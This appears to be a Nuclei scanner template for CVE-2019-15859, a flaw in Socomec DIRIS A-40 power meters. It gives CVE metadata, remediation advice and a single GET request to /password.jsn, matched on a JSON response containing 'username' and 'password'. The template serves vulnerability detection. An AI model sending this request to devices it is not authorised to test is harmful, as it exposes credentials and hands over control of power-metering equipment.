id: CVE-2019-15859

info:
  name: Socomec DIRIS A-40 Devices Password Disclosure
  author: geeknik
  severity: critical
  description: Socomec DIRIS A-40 devices before 48250501 are susceptible to a password disclosure vulnerability in the web interface that could allow remote attackers to get full access to a device via the /password.jsn URI.
  impact: |
    An attacker can obtain sensitive information such as passwords, leading to unauthorized access.
  remediation: |
    Update the firmware of the Socomec DIRIS A-40 devices to the latest version to mitigate the vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/Oct/10
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15859
    - http://packetstormsecurity.com/files/154764/Socomec-DIRIS-A-40-Password-Disclosure.html
    - https://www.socomec.com/single-circuit-multifunction-meters_en.html
    - http://seclists.org/fulldisclosure/2019/Oct/10
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15859
    cwe-id: CWE-200
    epss-score: 0.82094
    epss-percentile: 0.99229
    cpe: cpe:2.3:o:socomec:diris_a-40_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: socomec
    product: diris_a-40_firmware
  tags: cve,cve2019,seclists,packetstorm,disclosure,socomec,diris,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/password.jsn"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/json"

      - type: word
        part: body
        words:
          - "username"
          - "password"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cb12080a780fbaec20a9b353b164de9b1d72647ccdd5dfa4dcefc11cc2534534022100c0a2eefcc59a92e11694b500d11878bb76f63eefc4c3e97392fffc5dd54b8410:922c64590222798bb761d5b6d8e72950